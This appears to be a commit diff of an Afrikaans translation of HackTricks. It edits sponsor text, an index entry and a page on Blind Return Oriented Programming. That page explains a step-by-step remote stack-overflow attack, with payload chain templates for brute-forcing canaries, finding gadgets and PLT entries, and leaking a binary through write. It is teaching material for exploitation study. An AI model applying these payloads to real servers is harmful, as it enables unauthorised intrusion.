Translated ['README.md', 'binary-exploitation/rop-return-oriented-progra
Before ![]() (image error) Size: 5.5 KiB After ![]() (image error) Size: 1.6 KiB ![]() ![]() |
Before ![]() (image error) Size: 1.6 KiB After ![]() (image error) Size: 32 KiB ![]() ![]() |
Before ![]() (image error) Size: 32 KiB After ![]() (image error) Size: 142 KiB ![]() ![]() |
Before ![]() (image error) Size: 12 KiB After ![]() (image error) Size: 708 KiB ![]() ![]() |
Before ![]() (image error) Size: 708 KiB After ![]() (image error) Size: 287 KiB ![]() ![]() |
Before ![]() (image error) Size: 57 KiB After ![]() (image error) Size: 201 KiB ![]() ![]() |
Before ![]() (image error) Size: 201 KiB After ![]() (image error) Size: 197 KiB ![]() ![]() |
Before ![]() (image error) Size: 137 KiB After ![]() (image error) Size: 79 KiB ![]() ![]() |
Before ![]() (image error) Size: 79 KiB After ![]() (image error) Size: 609 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 43 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 137 KiB ![]() ![]() |
Before ![]() (image error) Size: 160 KiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 1.3 MiB ![]() ![]() |
Before ![]() (image error) Size: 148 KiB After ![]() (image error) Size: 15 KiB ![]() ![]() |
Before ![]() (image error) Size: 15 KiB After ![]() (image error) Size: 428 KiB ![]() ![]() |
Before ![]() (image error) Size: 150 KiB After ![]() (image error) Size: 43 KiB ![]() ![]() |
Before ![]() (image error) Size: 43 KiB After ![]() (image error) Size: 78 KiB ![]() ![]() |
Before ![]() (image error) Size: 33 KiB After ![]() (image error) Size: 42 KiB ![]() ![]() |
Before ![]() (image error) Size: 42 KiB After ![]() (image error) Size: 92 KiB ![]() ![]() |
Before ![]() (image error) Size: 10 KiB After ![]() (image error) Size: 33 KiB ![]() ![]() |
Before ![]() (image error) Size: 33 KiB After ![]() (image error) Size: 116 KiB ![]() ![]() |
Before ![]() (image error) Size: 1 MiB After ![]() (image error) Size: 74 KiB ![]() ![]() |
Before ![]() (image error) Size: 74 KiB After ![]() (image error) Size: 271 KiB ![]() ![]() |
Before ![]() (image error) Size: 56 KiB After ![]() (image error) Size: 254 KiB ![]() ![]() |
Before ![]() (image error) Size: 254 KiB After ![]() (image error) Size: 5.5 KiB ![]() ![]() |
Before ![]() (image error) Size: 5.5 KiB After ![]() (image error) Size: 254 KiB ![]() ![]() |
Before ![]() (image error) Size: 111 KiB After ![]() (image error) Size: 3.2 MiB ![]() ![]() |
Before ![]() (image error) Size: 3.2 MiB After ![]() (image error) Size: 10 KiB ![]() ![]() |
Before ![]() (image error) Size: 10 KiB After ![]() (image error) Size: 262 KiB ![]() ![]() |
Before ![]() (image error) Size: 111 KiB After ![]() (image error) Size: 407 KiB ![]() ![]() |
Before ![]() (image error) Size: 407 KiB After ![]() (image error) Size: 284 KiB ![]() ![]() |
Before ![]() (image error) Size: 7.5 KiB After ![]() (image error) Size: 175 KiB ![]() ![]() |
Before ![]() (image error) Size: 175 KiB After ![]() (image error) Size: 453 KiB ![]() ![]() |
Before ![]() (image error) Size: 23 KiB After ![]() (image error) Size: 172 KiB ![]() ![]() |
Before ![]() (image error) Size: 172 KiB After ![]() (image error) Size: 210 KiB ![]() ![]() |
Before ![]() (image error) Size: 165 KiB After ![]() (image error) Size: 1 MiB ![]() ![]() |
Before ![]() (image error) Size: 1 MiB After ![]() (image error) Size: 594 KiB ![]() ![]() |
Before ![]() (image error) Size: 92 KiB After ![]() (image error) Size: 112 KiB ![]() ![]() |
38
README.md
|
@ -20,11 +20,11 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende siberbeveiligingsmaatskappy wie se leuse is **HACK DIE ONHACKBARE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle siberbeveiligingsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
|
||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende sibersekuriteitsmaatskappy wie se leuse is **HACK DIE ONHACKBARE**. Hulle doen hul eie navorsing en ontwikkel hul eie hakgereedskap om **verskeie waardevolle sibersekuriteitsdienste** aan te bied soos pentesting, Rooi spanne en opleiding.
|
||||
|
||||
Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
**STM Cyber** ondersteun ook siberbeveiliging oopbronprojekte soos HackTricks :)
|
||||
**STM Cyber** ondersteun ook sibersekuriteits oopbronprojekte soos HackTricks :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -32,7 +32,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante siberbeveiliginggebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en siberbeveiligingsprofessionals in elke dissipline.
|
||||
[**RootedCON**](https://www.rootedcon.com) is die mees relevante sibersekuriteitsgebeurtenis in **Spanje** en een van die belangrikste in **Europa**. Met **die missie om tegniese kennis te bevorder**, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekuriteitsprofessionals in elke dissipline.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,7 +42,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** is die **#1** etiese hak- en **foutbeloningsplatform van Europa.**
|
||||
**Intigriti** is die **#1** etiese hak en **foutbeloningsplatform van Europa.**
|
||||
|
||||
**Foutbeloningswenk**: **teken aan** by **Intigriti**, 'n premium **foutbeloningsplatform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) en begin om belonings tot **$100,000** te verdien!
|
||||
|
||||
|
@ -55,7 +55,7 @@ Jy kan hul **blog** besoek by [**https://blog.stmcyber.com**](https://blog.stmcy
|
|||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
|
||||
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.
|
||||
|
||||
Kry Vandag Toegang:
|
||||
|
||||
|
@ -67,10 +67,10 @@ Kry Vandag Toegang:
|
|||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
|
||||
|
||||
* **Hakinsigte:** Skakel in met inhoud wat die opwinding en uitdagings van hak in detail ondersoek
|
||||
* **Nuus oor Hack in Werklikheid:** Bly op hoogte van die vinnige tempo van die hakwêreld deur middel van nuus en insigte in werklikheid
|
||||
* **Reële Tyd Haknuus:** Bly op hoogte van die vinnige hakwêreld deur middel van nuus en insigte in reële tyd
|
||||
* **Nuutste Aankondigings:** Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
|
||||
|
||||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
@ -79,9 +79,9 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Die noodsaaklike penetrasietoetsingshulpmiddel
|
||||
|
||||
<figure><img src=".gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ hulpmiddels & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste hulpmiddels, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest uit van enige plek met 20+ hulpmiddels & kenmerke wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste hulpmiddels, opsporing & uitbuitingsmodules om hulle tyd te gee om dieper te graaf, doppe te skiet, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -89,12 +89,12 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi bied vinnige en maklike regstreekse API's aan om **toegang tot soekmasjienresultate** te verkry. Hulle skraap soekmasjiene, hanteer proksi's, los captcha's op, en ontled al die ryk gestruktureerde data vir jou.
|
||||
SerpApi bied vinnige en maklike regstreekse API's aan om **toegang tot soekmasjienresultate** te verkry. Hulle skraap soekmasjiene, hanteer proksi's, los captchas op, en ontled al die ryk gestruktureerde data vir jou.
|
||||
|
||||
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir skraping van verskillende soekmasjiene, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
||||
In teenstelling met ander verskaffers, **skraap SerpApi nie net organiese resultate nie**. SerpApi-responsies sluit konsekwent alle advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en kenmerke wat teenwoordig is in die soekresultate.
|
||||
In teenstelling met ander verskaffers, **skraap SerpApi nie net organiese resultate nie**. SerpApi-respons sluit konsekwent alle advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en kenmerke wat teenwoordig is in die soekresultate.
|
||||
|
||||
Huidige SerpApi-klante sluit **Apple, Shopify, en GrubHub** in.\
|
||||
Vir meer inligting, besoek hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
||||
|
@ -114,11 +114,11 @@ Jy kan **'n gratis rekening skep** [**hier**](https://serpapi.com/users/sign\_up
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) is 'n professionele siberbeveiligingsmaatskappy gebaseer in **Amsterdam** wat help om besighede **oor die hele wêreld** te beskerm teen die nuutste siberbeveiligingsdreigings deur **aanvallende-siberdienste** met 'n **moderne** benadering te bied.
|
||||
[**WebSec**](https://websec.nl) is 'n professionele sibersekuriteitsmaatskappy gebaseer in **Amsterdam** wat besighede **oor die hele wêreld beskerm** teen die nuutste sibersekuriteitsdreigings deur **aanvallende-sikuriteitsdienste** met 'n **moderne** benadering te bied.
|
||||
|
||||
WebSec is 'n **alles-in-een siberbeveiligingsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Siber** Oudit, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitontwikkeling, Uitbuiting van Sekerheidsexperts en baie meer.
|
||||
WebSec is 'n **alles-in-een sibersekuriteitsmaatskappy** wat beteken dat hulle alles doen; Pentesting, **Sikuriteits** Ouditse, Bewustheidsopleiding, Hengelkampanjes, Kodeoordrag, Uitbuitingsontwikkeling, Sikuriteitskundiges Uitbesteding en baie meer.
|
||||
|
||||
'n Ander koel ding oor WebSec is dat anders as die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog**!**
|
||||
'n Ander koel ding oor WebSec is dat in teenstelling met die bedryfsgemiddelde WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle die beste kwaliteitsresultate waarborg, dit staan op hul webwerf "**As ons dit nie kan hak nie, betaal jy dit nie!**". Vir meer inligting kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
||||
|
||||
|
@ -129,9 +129,9 @@ Bo en behalwe die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackT
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
|
||||
|
||||
Hul primêre doel van WhiteIntel is om rekening-oorneemings en afpersingsaanvalle te beveg wat voortspruit uit inligtingsteelmalware.
|
||||
Hul primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
|
||||
|
||||
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
|
||||
Jy kan hul webwerf besoek en hul enjin gratis probeer by:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -145,13 +145,13 @@ Kyk na hulle in:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking van niks tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -373,7 +373,8 @@
|
|||
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
* [Drupal](network-services-pentesting/pentesting-web/drupal.md)
|
||||
* [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
|
||||
* [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
|
||||
* [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md)
|
||||
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
|
||||
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# BROP - Blinde Retourgeoriënteerde Programmering
|
||||
# BROP - Blind Return Oriented Programming
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,9 +8,9 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,27 +20,27 @@ Die doel van hierdie aanval is om **'n ROP te misbruik deur 'n buffer-oorvloei s
|
|||
Hierdie aanval is gebaseer op die volgende scenario:
|
||||
|
||||
* 'n Stokkwesbaarheid en kennis oor hoe om dit te aktiveer.
|
||||
* 'n Bedienertoepassing wat herlaai na 'n ongeluk.
|
||||
* 'n Bedienertoepassing wat herlaai na 'n botsing.
|
||||
|
||||
## Aanval
|
||||
|
||||
### **1. Vind kwesbare offset** deur een karakter meer te stuur totdat 'n fout van die bediener opgespoor word
|
||||
|
||||
### **2. Brute-force kanarie** om dit te lek 
|
||||
### **2. Brute-krag kanarie** om dit te lek 
|
||||
|
||||
### **3. Brute-force gestoorde RBP en RIP**-adresse in die stok om dit te lek
|
||||
### **3. Brute-krag gestoorde RBP en RIP**-adresse in die stok om hulle te lek
|
||||
|
||||
Meer inligting oor hierdie prosesse kan hier gevind word [hier (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) en [hier (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
|
||||
|
||||
### **4. Vind die stop-gadget**
|
||||
|
||||
Hierdie gadget laat basies toe om te bevestig dat iets interessants uitgevoer is deur die ROP-gadget omdat die uitvoering nie afgeskakel het nie. Gewoonlik gaan hierdie gadget iets wees wat die uitvoering **stop** en dit is aan die einde van die ROP-ketting wanneer daar na ROP-gadgets gesoek word om 'n spesifieke ROP-gadget te bevestig wat uitgevoer is.
|
||||
Hierdie gadget laat basies toe om te bevestig dat iets interessants uitgevoer is deur die ROP-gadget omdat die uitvoering nie afgeskakel het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP-ketting wanneer daar na ROP-gadgets gesoek word om 'n spesifieke ROP-gadget te bevestig wat uitgevoer is.
|
||||
|
||||
### **5. Vind BROP-gadget**
|
||||
|
||||
Hierdie tegniek maak gebruik van die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy hierdie gadget in die middel van sekere instruksies toegang kry, kry jy gadgets om **`rsi`** en **`rdi`** te beheer:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Hierdie sou die gadgets wees:
|
||||
|
||||
|
@ -49,31 +49,31 @@ Hierdie sou die gadgets wees:
|
|||
|
||||
Let daarop hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie te beheer om aan te roep.
|
||||
|
||||
Let ook daarop dat die ret2csu-gadget 'n **baie unieke handtekening** het omdat dit 6 register van die stok gaan afhaal. Dus, deur 'n ketting soos die volgende te stuur:
|
||||
Let ook daarop dat die ret2csu-gadget 'n **baie unieke handtekening** het omdat dit 6 register van die stok gaan afhaal. Dus, deur 'n ketting soos te stuur:
|
||||
|
||||
`'A' * offset + kanarie + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 register afhaal** van die stok gebruik is. Of dat die adres wat gebruik is ook 'n STOP-adres was.
|
||||
|
||||
Om **hierdie laaste opsie te verwyder** word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP-gadget uitvoer om die vorige een te bevestig wat 6 register afgehaal het nie:
|
||||
|
||||
`'A' * offset + kanarie + rbp + ADDR`
|
||||
`'A' * offset + canary + rbp + ADDR`
|
||||
|
||||
Deur die adres van die ret2csu-gadget te ken, is dit moontlik om die adres van die gadgets om `rsi` en `rdi` te beheer, te bepaal.
|
||||
Deur die adres van die ret2csu-gadget te ken, is dit moontlik om die adres van die gadgets om `rsi` en `rdi` te beheer, te **aflei**.
|
||||
|
||||
### 6. Vind PLT
|
||||
|
||||
Die PLT-tabel kan gesoek word vanaf 0x400000 of vanaf die **gelekke RIP-adres** van die stok (as **PIE** gebruik word). Die **inskrywings** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, skakel die bediener nie af selfs al is die argumente nie korrek nie. Ook, deur die adres van 'n inskrywing in die **PLT + 6B te kontroleer skakel dit ook nie af** nie aangesien dit die eerste kode is wat uitgevoer word.
|
||||
Die PLT-tabel kan gesoek word vanaf 0x400000 of vanaf die **gelekke RIP-adres** van die stok (as **PIE** gebruik word). Die **inskrywings** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, skakel die bediener nie af selfs al is die argumente nie korrek nie. Ook, deur die adres van 'n inskrywing in die **PLT + 6B te kontroleer, skakel dit ook nie af** nie aangesien dit die eerste kode is wat uitgevoer word.
|
||||
|
||||
Daarom is dit moontlik om die PLT-tabel te vind deur die volgende gedrag te kontroleer:
|
||||
|
||||
* `'A' * offset + kanarie + rbp + ADDR + STOP` -> geen afslag
|
||||
* `'A' * offset + kanarie + rbp + (ADDR + 0x6) + STOP` -> geen afslag
|
||||
* `'A' * offset + kanarie + rbp + (ADDR + 0x10) + STOP` -> geen afslag
|
||||
* `'A' * offset + canary + rbp + ADDR + STOP` -> geen afslag
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> geen afslag
|
||||
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> geen afslag
|
||||
|
||||
### 7. Vind strcmp
|
||||
|
||||
Die **`strcmp`**-funksie stel die register **`rdx`** in op die lengte van die string wat vergelyk word. Let daarop dat **`rdx`** die **derde argument** is en ons dit nodig het om **groter as 0** te wees om later `write` te gebruik om die program te lek.
|
||||
Die **`strcmp`**-funksie stel die register **`rdx`** in op die lengte van die string wat vergelyk word. Let daarop dat **`rdx`** die **derde argument** is en ons dit moet maak **groter as 0** om later `write` te gebruik om die program te lek.
|
||||
|
||||
Dit is moontlik om die ligging van **`strcmp`** in die PLT te vind gebaseer op sy gedrag deur die feit te gebruik dat ons nou die 2 eerste argumente van funksies kan beheer:
|
||||
|
||||
|
@ -85,11 +85,11 @@ Dit is moontlik om die ligging van **`strcmp`** in die PLT te vind gebaseer op s
|
|||
Dit is moontlik om hiervoor te toets deur elke inskrywing van die PLT-tabel te roep of deur die **PLT stadige pad** te gebruik wat basies daarop neerkom om **'n inskrywing in die PLT-tabel + 0xb** te roep (wat na **`dlresolve`** roep) gevolg in die stok deur die **inskrywing nommer wat mens wil ondersoek** (beginnende by nul) om al die PLT-inskrywings van die eerste een af te soek:
|
||||
|
||||
* strcmp(\<nie lees adres>, \<lees adres>) -> afslag
|
||||
* `b'A' * offset + kanarie + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Sal afsluit
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Sal afsluit
|
||||
* strcmp(\<lees adres>, \<nie lees adres>) -> afslag
|
||||
* `b'A' * offset + kanarie + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* strcmp(\<lees adres>, \<lees adres>) -> geen afslag
|
||||
* `b'A' * offset + kanarie + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` 
|
||||
|
||||
Onthou dat:
|
||||
|
||||
|
@ -104,25 +104,25 @@ Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal hê, so hierdie s
|
|||
{% endhint %}
|
||||
### 8. Vind Skryf of ekwivalent
|
||||
|
||||
Laastens is 'n gadget nodig wat data eksfiltreer om die binêre kode te eksfiltreer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
|
||||
Laastens, dit is nodig 'n gadget wat data eksfiltreer om die binêre te eksfiltreer. En op hierdie oomblik is dit moontlik om **beheer oor 2 argumente te hê en `rdx` groter as 0 te stel.**
|
||||
|
||||
Daar is 3 algemene funksies wat misbruik kan word vir hierdie doel:
|
||||
Daar is 3 algemene funksies wat misbruik kan word vir hierdie:
|
||||
|
||||
* `puts(data)`
|
||||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
Die oorspronklike dokument noem egter net die **`write`** een, so laat ons daaroor praat:
|
||||
Nietemin, die oorspronklike dokument noem slegs die **`write`** een, so laat ons daaroor praat:
|
||||
|
||||
Die huidige probleem is dat ons nie **weet waar die write-funksie binne die PLT is nie** en ons weet nie **'n fd-nommer om die data na ons sokket te stuur nie**.
|
||||
Die huidige probleem is dat ons nie **weet waar die skryffunksie binne die PLT is nie** en ons weet nie **'n fd-nommer om die data na ons sokket te stuur nie**.
|
||||
|
||||
Nietemin weet ons **waar die PLT-tabel is** en dit is moontlik om write te vind op grond van sy **gedrag**. En ons kan **verskeie verbindings** met die bediener skep en 'n **hoë FD** gebruik in die hoop dat dit ooreenstem met een van ons verbindings.
|
||||
Nietemin, ons weet **waar die PLT-tabel is** en dit is moontlik om skryf te vind op grond van sy **gedrag**. En ons kan **verskeie verbindings** met die bediener skep en 'n **hoë FD** gebruik in die hoop dat dit ooreenstem met een van ons verbindings.
|
||||
|
||||
Gedragskenmerke om daardie funksies te vind:
|
||||
Gedragsmerke om daardie funksies te vind:
|
||||
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is puts gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is dprintf gevind
|
||||
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is write gevind
|
||||
* `'A' * offset + kanary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is puts gevind
|
||||
